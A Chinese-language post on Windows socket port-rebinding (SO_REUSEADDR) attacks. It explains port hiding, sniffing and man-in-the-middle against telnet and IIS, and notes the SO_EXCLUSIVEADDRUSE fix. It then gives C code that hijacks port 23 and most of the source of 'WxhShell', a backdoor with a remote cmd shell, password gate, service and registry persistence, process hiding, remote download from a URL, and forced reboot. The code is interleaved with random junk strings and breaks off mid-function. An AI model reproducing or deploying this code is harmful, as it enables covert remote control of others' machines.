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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +cOI`4`$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); YKS'#F2 }4ghT(C}$ saddr.sin_family = AF_INET; rp[oH=& UDi3dH= saddr.sin_addr.s_addr = htonl(INADDR_ANY); rM?Dp2 m$UT4,Ol bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Q Fqv,B\< })u}PQ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }oxaB9r ";Xbr;N 这意味着什么?意味着可以进行如下的攻击: 0FR%<u 7VZ JGRnn 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 t 6IaRD zinl.8Uk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T_B.p*\BM tMk>Bx9[ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 gkn/E}K# Da[X
HUk 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 L$kAe1 V^m 6V?&hq&t 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |JQP7z6j] hADb]O 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8'\,&f`Y
x$b[m20 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 nR'EuI~(} \6
0WP-s #include ?m7" G) #include FG36,6N%2j #include xla^A}{ #include *b l{F\ DWORD WINAPI ClientThread(LPVOID lpParam); I; }%k;v6 int main() "RX5] eJc\ { k{w^MOHNg WORD wVersionRequested; )Is*-
W DWORD ret; |g^W @.P WSADATA wsaData; ovo I~k' BOOL val; eii7pbc SOCKADDR_IN saddr; m%(JRh SOCKADDR_IN scaddr; `A{~}6jw int err; ;p"XCLHl SOCKET s; 9i)mv/i SOCKET sc; p00Bgo int caddsize; OQ*. ho HANDLE mt; s(9rBDoY(8 DWORD tid; y#0Z[[I0 wVersionRequested = MAKEWORD( 2, 2 ); ~u&O err = WSAStartup( wVersionRequested, &wsaData ); m9 5$V& if ( err != 0 ) { pXlBKJmW printf("error!WSAStartup failed!\n"); q5?mP6 return -1; <%f%e4
[ } nt`l6b saddr.sin_family = AF_INET; <RsKV$Je
I >-+X;0& //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ,#;ahwU~s IL"#TKKv saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); E4ee_`p saddr.sin_port = htons(23); fy4JW,c if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) bUB6B { =YsTF T printf("error!socket failed!\n"); HON[{Oq return -1; 54j
$A } .7rsbZzs val = TRUE; GV[BpH //SO_REUSEADDR选项就是可以实现端口重绑定的 HUI!IOh if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) gbZ X'D
{ M8Lj*JN printf("error!setsockopt failed!\n"); P[oB' return -1; LtIZgOd< } m:7bynT{ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6FFv+{2^@ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 9h=WWu', //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 F
RUt}* Dv{AZyqe if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P#1y { 8+|L ph`/? ret=GetLastError(); UzwIV{ printf("error!bind failed!\n"); )U`kU`+' return -1; Tj+WO6#V } 5X-{|r3q listen(s,2); !]T|=yw while(1) '(>N
gd[ { ?`}U|]c caddsize = sizeof(scaddr); ]qRz!D%@^ //接受连接请求 9:~^KQ{? sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); jzp%.4/j if(sc!=INVALID_SOCKET) hlEvL { 5Ozj&Zq mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 86Vu PV- if(mt==NULL) B
~GyS" { o#b9M4O printf("Thread Creat Failed!\n"); y
+vcBuX break; \bE~iz3b9 } svgi!= } qeGOSGc_ CloseHandle(mt); ~epkRO=" } #2=3 0 closesocket(s); C`K/ai{4 WSACleanup(); QKQy)g return 0; akwVU\RP } ArMe[t0$ DWORD WINAPI ClientThread(LPVOID lpParam) GMI>$$< { a$A
S?`L SOCKET ss = (SOCKET)lpParam; t|_g O!w8 SOCKET sc; q[g^[~WM# unsigned char buf[4096]; Iqv
5lo
. SOCKADDR_IN saddr; A;PV,2|X long num; _JoA=<O! DWORD val; Yuck]?#0 DWORD ret; K~G^jAk+ //如果是隐藏端口应用的话,可以在此处加一些判断 A":x<9 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ]~,'[gWb saddr.sin_family = AF_INET; n$iz saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); d1TG[i<J_ saddr.sin_port = htons(23); (Zkt2[E` if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Yr@ @ty { .kV/0!q? printf("error!socket failed!\n"); Rk^&ras_ return -1; 5#tvc4+) } C5FtJquGN) val = 100; c-{]H8$v if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ymu# u { p};<l@ ret = GetLastError(); W'yICt(#G return -1; Fx 2&ji6u } 3f
x!\ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 6A<aelE*i { ~C3-E %h@Z ret = GetLastError(); K[Kc'6G return -1; 7EUaf;d^ }
|H49FL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) $TiAJ}: { ,P]{*uqGiB printf("error!socket connect failed!\n"); u)ItML closesocket(sc); 57rP@,vj closesocket(ss); *{Vyt5 return -1; A,@"(3 } HH+XEM P/g while(1) {Gy_QRsp, { 1l{n`gR //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 z841g `:C //如果是嗅探内容的话,可以再此处进行内容分析和记录 XCY4[2*a> //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 I;LqyzM num = recv(ss,buf,4096,0); 4l:+>U@KU if(num>0) es{
9[RHK send(sc,buf,num,0); ;+\;^nS3d else if(num==0) ,KWeW^z'7 break; [;}c@ num = recv(sc,buf,4096,0); ?Eed#pb_ if(num>0) ? IWS send(ss,buf,num,0); w*x}4wW else if(num==0) F);C?SW" break; b
$!l*r } a+d|9y/k closesocket(ss); BL7%MvDQ closesocket(sc); ]T1"3
[si return 0 ; GU9`;/ } 2q>4nN 0nX5
$Kn %"tf`,d~3 ========================================================== gxiJ`.D= sz5@= 下边附上一个代码,,WXhSHELL ! JN@4 XT\;2etVL ========================================================== &yuerNK ZsE8eD #include "stdafx.h" 7u; B[qH #HML=qK~ #include <stdio.h> ;Ti?(n#M> #include <string.h> QLn5:& #include <windows.h> K4~dEZ #include <winsock2.h> Sq,x@ #include <winsvc.h> .%o:kq@B #include <urlmon.h> NGxuwHIQ8 8LOzL,Ah #pragma comment (lib, "Ws2_32.lib") 94+#6jd e #pragma comment (lib, "urlmon.lib") ??4QDa- 5M3QRJ! #define MAX_USER 100 // 最大客户端连接数 | e+m!G1G #define BUF_SOCK 200 // sock buffer iV%%VR8b
#define KEY_BUFF 255 // 输入 buffer G:UdU{ K%;O$
> #define REBOOT 0 // 重启 m@ ~HHwj #define SHUTDOWN 1 // 关机 CBc}N(9 8w$cj' #define DEF_PORT 5000 // 监听端口 d7@ N~<n PO#FtG #define REG_LEN 16 // 注册表键长度 FU<rE&X2: #define SVC_LEN 80 // NT服务名长度 }k%>%xQ. 5<61NnZ // 从dll定义API _=rXaTp typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); d 1z typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {)G3*>sG3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >?5`FC typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >DDQ7
l $>+-=XMVB // wxhshell配置信息 Mc.KLz&,FC struct WSCFG { ~"(1~7_ int ws_port; // 监听端口 u%2u%-w char ws_passstr[REG_LEN]; // 口令 Y?> S.B7 int ws_autoins; // 安装标记, 1=yes 0=no dJkTHmw char ws_regname[REG_LEN]; // 注册表键名 :=* -x char ws_svcname[REG_LEN]; // 服务名 4h|D[Cb] char ws_svcdisp[SVC_LEN]; // 服务显示名 R,(^fM char ws_svcdesc[SVC_LEN]; // 服务描述信息 3.>jagu char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <1ai0] int ws_downexe; // 下载执行标记, 1=yes 0=no HtMlSgx,8> char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" Z"P{/~HG char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @9^kl$ :x_l"y" }; W1#3+ WTXTr0= // default Wxhshell configuration y
jb.6 struct WSCFG wscfg={DEF_PORT, tZ(Wh "xuhuanlingzhe", /(Y\ < 1, Bk8U\Ut "Wxhshell", *H;&hq "Wxhshell", >$}nKPC,Y "WxhShell Service", Z:'2puU+? "Wrsky Windows CmdShell Service", d(k`Yk8 "Please Input Your Password: ", ;$Wa=wHb 1, y};qo'dlt " http://www.wrsky.com/wxhshell.exe", 9,,1\0-T* "Wxhshell.exe" 3#dUQ1qo6 }; 'oo]oeJ- Cu>pql<O // 消息定义模块 eudPp"Km char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n32?GRp char *msg_ws_prompt="\n\r? for help\n\r#>"; mv5!fp_*7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 3b|.L
Jz+ char *msg_ws_ext="\n\rExit."; D 4@=+ char *msg_ws_end="\n\rQuit."; {C
7= char *msg_ws_boot="\n\rReboot..."; ]RxNSr0e char *msg_ws_poff="\n\rShutdown..."; #Qkl| h char *msg_ws_down="\n\rSave to "; CnAh Ef)b 5e/%Tue. char *msg_ws_err="\n\rErr!"; j J9| char *msg_ws_ok="\n\rOK!"; ow+NT o#;w>- char ExeFile[MAX_PATH]; 1W5YS +pf int nUser = 0; cZ5[A T HANDLE handles[MAX_USER]; 2t_E\W7w+ int OsIsNt; MEg|AhP AX6e}-S1n SERVICE_STATUS serviceStatus; I(<1-3~ SERVICE_STATUS_HANDLE hServiceStatusHandle; T
`N(=T^* Xa-]+_?Q // 函数声明 K":-zS int Install(void); kD2MqR> int Uninstall(void); Yzd-1Jvk int DownloadFile(char *sURL, SOCKET wsh); >5 Ce/P'R int Boot(int flag); 5o&L|7] void HideProc(void); S&|$F2M int GetOsVer(void); IN_GL18^MV int Wxhshell(SOCKET wsl); #E>f.:) void TalkWithClient(void *cs); wjpkh~qo int CmdShell(SOCKET sock); 7GKeqv int StartFromService(void); IWTD>c). int StartWxhshell(LPSTR lpCmdLine); DT_012z 0(teplo&P VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); OS,-dG( VOID WINAPI NTServiceHandler( DWORD fdwControl ); nQ8EV>j2 =_=jXWOQv // 数据结构和表定义 )5&Wt@7Kj` SERVICE_TABLE_ENTRY DispatchTable[] = >4bOM@[] { -^C;WFh8) {wscfg.ws_svcname, NTServiceMain}, #[J..i/h {NULL, NULL} K{HdqmxL.I }; bvZmozbD }Dk_gom_
// 自我安装 L{aT"Of{X int Install(void) ^
.>)*P { %Sj;:LC char svExeFile[MAX_PATH]; T-JJc# HKEY key; gm4-w 9M[p strcpy(svExeFile,ExeFile); :s*&_y 'v4AM@%u // 如果是win9x系统,修改注册表设为自启动 ~d28"p.7 if(!OsIsNt) { *_U
z**M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QD7>S(p RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uI.4zbgl[ RegCloseKey(key); 'M YqCfIK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _Tev503 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); }K0.*+M RegCloseKey(key); O=ci"2!\- return 0; ](^VEm}w; } MwXgaSV } %$Mvq&ZZ } M,|o 2' else { q18dSu OpYq qBf_ // 如果是NT以上系统,安装为系统服务 2uV=kq nO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *j8w"
4 if (schSCManager!=0) &:w{[H$- { :'#BU: SC_HANDLE schService = CreateService nbhx2@Teqe ( Z$Qlr:7 schSCManager, UI |D?z< wscfg.ws_svcname, I5PaY.i wscfg.ws_svcdisp, 5Gg`+o SERVICE_ALL_ACCESS, -H{c@hl SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , H`m|R SERVICE_AUTO_START, dc"Vc 3) SERVICE_ERROR_NORMAL, HA"LU;5>2J svExeFile, DH@*Oz- NULL, L<J%IlcfO NULL, Z5_MSPm NULL, >L)Xyq NULL, v||8Q\d NULL @^/JNtbH! ); zI(b#eUF
if (schService!=0) DS-Kot(k(z { <"aPoGda CloseServiceHandle(schService); e$ E=n CloseServiceHandle(schSCManager); [G4#DP\t>p strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XA>@0E>1r strcat(svExeFile,wscfg.ws_svcname); t~gnai if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { qky{]qNW RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); UP%X` RegCloseKey(key); ^P(HX return 0; {H"xC~. } 5zfPh`U>1 } ExV>s* y CloseServiceHandle(schSCManager); z_CBOJl#C! } .#EmE'IP* } :8MpSvCV AgO:"'c return 1; /tx_I(6F?| } &&TQ0w&T ad }^Dj/ // 自我卸载 b[VP"KZ ? int Uninstall(void) .,UpI|b { o=4d2V%m HKEY key; Fp|x,- m>:3Ku if(!OsIsNt) { (H0nO7Bk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^=FtF9v RegDeleteValue(key,wscfg.ws_regname); $ v$~. RegCloseKey(key); E.4`aJ@>d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q_qc_IcM y RegDeleteValue(key,wscfg.ws_regname); mp%i(Y"vp RegCloseKey(key); o1-Zh!*a* return 0; <JDkvpckx. } Z3T:R"l; } |Zncr9b } eB^:+h#A_ else { 8xZN4ck_@ l^WFMeMD3a SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,B h[jb`y if (schSCManager!=0) )#M*@e$k { @tRq(*(/: SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2U)H2% if (schService!=0) k g0Z(T:&8 { 'l!tQD! if(DeleteService(schService)!=0) { p 8Ts5n CloseServiceHandle(schService);
WwPfz<I CloseServiceHandle(schSCManager); J*A<F'^F1 return 0; x^;nQas; } \HV%579 CloseServiceHandle(schService); C/tn0 } -D`*$rp, CloseServiceHandle(schSCManager); TBvv(_ } 4Ts5*_ } 83Bp_K2\ LKFL2|af return 1; x$ ?{)EY } J$v0 wYOSaGyZ0I // 从指定url下载文件 [D^KM|I%+ int DownloadFile(char *sURL, SOCKET wsh) (KK9/k { a<rk'4,8a HRESULT hr; sn]8h2z char seps[]= "/"; iKs/8n char *token; V2V^*9(wu@ char *file; XW%!#S&;X char myURL[MAX_PATH]; Cj31' char myFILE[MAX_PATH]; *3s4JK Y*dzoN.sW strcpy(myURL,sURL); GNT1FR token=strtok(myURL,seps); hF.9\X] while(token!=NULL) /`Yp]l { S6`4&0' file=token; Kisd.~u8j token=strtok(NULL,seps); I.euuzBgA } Wu,'S;>C bH~ue5q GetCurrentDirectory(MAX_PATH,myFILE); 7fgA)dU:K strcat(myFILE, "\\"); wMT?p/9Blm strcat(myFILE, file); $7T3wv9 send(wsh,myFILE,strlen(myFILE),0); A|O7W|"W send(wsh,"...",3,0); x{6/di hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }2|>Y[v2j if(hr==S_OK) rH8w||S2U return 0; hmHm;l else !dv return 1; CY<,p$ o>';-} E } 2$jTj<.K !gWV4vC // 系统电源模块 a#nVRPU8m int Boot(int flag) }`{aeVHT { ?
!MDg_oHd HANDLE hToken; \8'fy\ TOKEN_PRIVILEGES tkp; e #>wv]V 6NVf&;laQ if(OsIsNt) { #e((F,1z OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Mp:tcy,* LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^^qB=N['; tkp.PrivilegeCount = 1; H$9--p tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NU-({dGK} AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ik=~`3Zp0 if(flag==REBOOT) { S ])Ap'E if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cP'' return 0; L6fc_Mo.EE } 3U!\5Nsby else { Ig-9Y;hdmn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QU2\gAM return 0; Ec y|l; } 82WXgB> } @V
Bv}Jo else { w*Vf{[a' if(flag==REBOOT) { #(mm6dj if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s/ibj@h return 0; ;\DXRKR } + G#qS1 else { y]xG@;4M if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :[3{-.c return 0; 0C#1/o)o } GU8b_~Gk?
} rZ/,^[T Xm8
1axyf return 1; q
g?q|W } kL 6f^MoL oe}nrkmb // win9x进程隐藏模块 {'4h.PB+r void HideProc(void) J@54B { ,3Y~ #{,i u.YPb@ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g4cmYg3 if ( hKernel != NULL ) *z!!zRh3x { !j#Z48=& pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UQgOtqL3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); WBFG_]) FreeLibrary(hKernel); O,>1GKw"\ } ja3wXz$2 D642}VD return; h@7Shp } wXIsc; 6TvlK*<r= // 获取操作系统版本 e; 5n.+m int GetOsVer(void) M:z)uLDw { aT$q1!U`j2 OSVERSIONINFO winfo; x_CB'Rr6 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (.-3q;)6 GetVersionEx(&winfo); % <
D if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) OM*N) * return 1; ;Y5"[C9| else _Il/ i& return 0; 4h\MSTF* } QijEb Va/LMw // 客户端句柄模块 T>2) YOx int Wxhshell(SOCKET wsl) d?C8rkV' { qRT1W re
3 SOCKET wsh; `d2}>
struct sockaddr_in client; )eop:!m DWORD myID; }\k"azQ` -Qgu6Ty while(nUser<MAX_USER) ] S<y,d- { O?/\hZ"&c int nSize=sizeof(client); ~gQ$etPd wsh=accept(wsl,(struct sockaddr *)&client,&nSize); .<}(J#vC if(wsh==INVALID_SOCKET) return 1; z1XFc*5 kFZw"5hb handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); PXof-W if(handles[nUser]==0) h4N!zj[ closesocket(wsh); R}IMX9M= else Wly-z$\ nUser++; mO;X>~K } t<mT=(zt* WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t$^1A1Ef Z[<rz6%cB return 0; ,rVm81-2 } gq~>S1 -bJht // 关闭 socket Vb*q^
v void CloseIt(SOCKET wsh) c-.t8X,5(~ { rK)aR closesocket(wsh); 2j&-3W$^ nUser--; e@"1W ExitThread(0); 6Ko[[?Lf[ } <ek_n;R *jM~VTXwt // 客户端请求句柄 z6 2gF|Uj void TalkWithClient(void *cs) F#>?i} { ig:,: KN m,NUNd#)\ SOCKET wsh=(SOCKET)cs; DP **pf%j char pwd[SVC_LEN]; fx(^}e char cmd[KEY_BUFF]; A@-nn] char chr[1]; xvOGE]n int i,j; j_Pt8{[ U?97yc\$ while (nUser < MAX_USER) { :c3}J<Z Nv}'"V> if(wscfg.ws_passstr) { ^vmT=f;TM if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {)nm
{IV, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G,I[zhX\ //ZeroMemory(pwd,KEY_BUFF); vJ9Uw i=0; LDqq'}qK6 while(i<SVC_LEN) { m|!R/,>S4 ZLw7-H6Fh // 设置超时 f(~xdR))eh fd_set FdRead; u&Ts'j struct timeval TimeOut; |:Gz9u + FD_ZERO(&FdRead); -02cI}e FD_SET(wsh,&FdRead); gp'9Pf;\[ TimeOut.tv_sec=8; I}a`11xb` TimeOut.tv_usec=0; k?ubr)[) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U/'"w
v1y if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7WK^eW"y8 2 Pn if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /T&z
:st0 pwd =chr[0]; TD:NL4dm if(chr[0]==0xd || chr[0]==0xa) { |;3Ru vX?+ pwd=0; ={,\6a|]: break; t"Ok-!c| } `_Iy8rv:P i++; SRs1t6&y= } =c>2d.^l 6p`AdDV // 如果是非法用户,关闭 socket [mX/]31 if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }9yAYZ0q{b } #T:#!MKa 6Yhd [I3 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )cOw9s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %&m/e?@%I A_3V1<J`] while(1) { m`luMt9 8JxJ>I-9p ZeroMemory(cmd,KEY_BUFF); 1FCqkwq[ 1sp>UBG // 自动支持客户端 telnet标准 j}R!'m(P' j=0; <y#-I%ed while(j<KEY_BUFF) { H0<(j(JK if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *ub]M3O cmd[j]=chr[0]; 88(h`RGMh if(chr[0]==0xa || chr[0]==0xd) { h?E[28QB cmd[j]=0; G q%q x4 break; 3\_ae2GW } T(t@[U2^ j++; Pqiw[ +a$ } &|>CW:)&1" .%) FK#s- // 下载文件 ;Q"xXT`;: if(strstr(cmd,"http://")) { Ay\=&4dv send(wsh,msg_ws_down,strlen(msg_ws_down),0); l_bvwo if(DownloadFile(cmd,wsh)) h8@8Qw send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2Zt :]be else e~]3/ 0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Za68V/Vj } y)iT-$bQ else { F:nhSd Ibt~e4f switch(cmd[0]) { &KinCh7l L PI_MSiYQ // 帮助 k L\;90 case '?': { u!I Es send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sXHrCU break; w#]> Nf } /@Qg'Q# // 安装 -6lsR case 'i': { (iub \` if(Install()) ?+#|h;M8 send(wsh,msg_ws_err,strlen(msg_ws_err),0); a@(4X/| else z}I =: send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $:IOoS|e break; ~ [L4,q } l&3f<e // 卸载 Zzy!D case 'r': { `-a](0QU if(Uninstall()) 2d:<P!B send(wsh,msg_ws_err,strlen(msg_ws_err),0); B-Bgk else {No*Z'X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x'IVP[xh`A break; 8m%+O# } )I7~<$w // 显示 wxhshell 所在路径 n0|oV(0FE case 'p': { \Tf[% Kt x char svExeFile[MAX_PATH]; ~)>O=nR strcpy(svExeFile,"\n\r"); #oBM A strcat(svExeFile,ExeFile); DUBEh@ send(wsh,svExeFile,strlen(svExeFile),0); =eG?O7z& break; DmDsn } 7&oT}Z // 重启 'Cw&9cL9w case 'b': { b[5$$_[ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R@*mMWW, if(Boot(REBOOT)) #p'Xq
}] send(wsh,msg_ws_err,strlen(msg_ws_err),0); +ob<?
T else { 9 0PF)U closesocket(wsh); .|>zQ(7YC ExitThread(0); mocR_3=Q? } CjtBQ5 break; <1")JDW } },r30` )Q // 关机 5f5bhBZ< case 'd': { ,/{(8hn send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +?"N5%a%F if(Boot(SHUTDOWN)) .Up\ 0|b send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^{z@=o<o else { ]O%wZIp\P closesocket(wsh); E=N44[`.G ExitThread(0); $P<T`3Jg } dnRS$$9# break; 2R}9wDP } <{$0mUn;s| // 获取shell M0Eq
7:Ba case 's': { -M]NdgI CmdShell(wsh); <'s_3AC closesocket(wsh); 8?p40x$m% ExitThread(0); "S8JHHx break; ,-!h } y b 7 // 退出 &.dC% case 'x': { y3!r;>2k= send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Fk&W*<}/; CloseIt(wsh); 5Q_T=TL break; 4sU*UePr } j?!BHNs // 离开 ~Sq!P case 'q': { :{#%_^}k send(wsh,msg_ws_end,strlen(msg_ws_end),0); \}CQo0v closesocket(wsh); |%wgux`z WSACleanup(); 9 Vn
exit(1); ZUDdLJ break; Vz=ByyC } &yu3nA:7D } c
eH8 } UNx|+ .I~#o$6 // 提示信息 ZkbaUIQ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); U[l7n3Y= } PwF
1Pr`r } <d2?A}< (~C_zG return; c!,&]*h"k } ;rBd_ a/})X[2 // shell模块句柄 *,C[yg1P int CmdShell(SOCKET sock) rL{3O4O { n^} -k'l STARTUPINFO si; fY)Dx c&ue ZeroMemory(&si,sizeof(si)); <n8K"(sy} si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +sN'Y/- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aT9+]
Ig PROCESS_INFORMATION ProcessInfo; qN5 ru2 char cmdline[]="cmd"; gmCW__oR CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N)F&c!anh return 0; oJ
r&9.S } 0?DD!H)&w 5AX
AIP n) // 自身启动模式 {2|[7oNT6 int StartFromService(void) z]/;? { G~$.Af!9W typedef struct ejr9e@D^ { CV9o,rL DWORD ExitStatus; D'{NEk@ DWORD PebBaseAddress; 18(hrj DWORD AffinityMask; s^atBqw, DWORD BasePriority; (P(=6-0 ULONG UniqueProcessId; E5^P*6c( ULONG InheritedFromUniqueProcessId; rV
